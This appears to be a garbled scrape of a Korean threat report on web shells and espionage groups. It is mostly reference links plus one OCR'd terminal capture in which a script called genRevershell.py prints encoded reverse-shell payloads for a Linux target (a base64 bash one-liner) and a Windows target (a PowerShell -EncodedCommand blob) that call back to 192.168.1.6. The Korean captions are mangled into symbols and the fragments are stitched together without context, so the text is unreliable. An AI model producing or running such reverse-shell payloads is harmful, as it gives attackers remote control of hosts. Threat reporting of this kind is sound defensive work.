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https://www.thelec.kr/news/articleView.html?idxno=35276
https://www.thelec.kr/news/articleView.html?idxno=35276
https://www.sygnia.co/threat-reports-and-advisories/weaver-ant-tracking-a-china-nexus-cyber-espionage-operation/
https://news.kbs.co.kr/news/pc/view/view.do?ncd=8257346
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https://rewardsforjustice.net/rewards/rim-jong-hyok-%EB%A6%BC%EC%A2%85%ED%98%81/
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Z=X: [1] Microsoft Security Blog
[2] Verizon 2023 DBIR
[3] Cisco Talos Incident Response Trends



https://www.microsoft.com/en-us/security/blog/2021/02/11/web-shell-attacks-continue-to-rise/
https://www.verizon.com/business/resources/Tbe8/reports/2023-data-breach-investigations-report-dbir.pdf
https://blog.talosintelligence.com/talos-ir-trends-q4-2024/
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root@hk:~/genRev_shell# python3 genRevershell.py 192.168.1.6 12
o o Full payload for cmd to reverse shell for Linux target is:
%FQ_HZE' O| Lf |DS/| PS 7E|‘S Network EOI_HS'I:I | E —Cr’é| —%% EJ_’__I‘I_—! oL 7&'X| %%H_,| I:f. echo YmFzaCAtaSA+JiAVZGV2L3RjcCBxOTIUMTYAL EUN8xMGMOIDA+IjE=|b
root@hk:~/genRev_shell# python3 genRevershell.py 192.168.1.6
Full payload for cmd to reverse shell for Windows target is:
powershell.exe -EncodedCommand JABjAGwAaQBlAGAAdAAgADBATABOAGUAdwWALAES)
GBAL gBOAGUAdAAUAFMAbWBJAGSAZQBBAHMAL gBUAEMAUABDAGWAaQB1AGAAdAACAC cAMQAY
AAxADTAMWABAC kADWAKAHMADAB Yy AGUAYQBtACAAPQASACQAYWBsAGKAZQBUAHQAL gBHAGU
GIAeQBRAGUAWWBIAFBAIABIAHKAJAB1AHMATAASACAAMAAUACAANgATADUAMWATIAHWATQB
ABpACAAPQAgACQACWBBAHIAZQBhAGBALgBSAGUAYQBKACgAIABIAHKAdABLAHMALAASADA
GAAZwWBBAGgAKQAPACAALQBUAGUATAAWACkAewA7ACQAZABhAHQAYQAgADBATAACAEAAZQB
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gAgACCcAOWAKAHMAZ QBuAGQAY gBSAHQAZQASADBATAACAF sAdABL1AHgAdAAUAGUAbEBjAGS!
EkAKQAUAECAZQBOAETIAQBBAGUACWACACQACWBLAGAAZABIAGEAYWBrADIAKQA7ACQACWEY
AAKAHMAZQBuAGQAYgB5AHQAZQASADAAL AAKAHMAZ QBuAGQAY gB5AHQAZQAUAEWAZ QBUAGC)
CAARgBsAHUACWBoACEAKQBSADSATAA=

9‘—”-@”% _DF_7|~X—| O| ]I|_(I)_H 9% qu_(ljl-l% 7%6}% 9|‘|1:|| _CID_l‘ APT—S—Zﬁ' 9| E;Lj" Elzll |__,| E" root@hk:~/genRev_shell# I



https://shreshtait.com/blog/2024/02/web-shell-a-primer/
https://shreshtait.com/blog/2024/02/web-shell-a-primer/
https://github.com/HoangKien1020/WebShells/blob/main/README.md
https://github.com/HoangKien1020/WebShells/blob/main/README.md
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https://www.verizon.com/business/resources/Tbe8/reports/2023-data-breach-investigations-report-dbir.pdf
https://www.verizon.com/business/resources/Tbe8/reports/2023-data-breach-investigations-report-dbir.pdf
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*EDR = Endpoint Detection & Response
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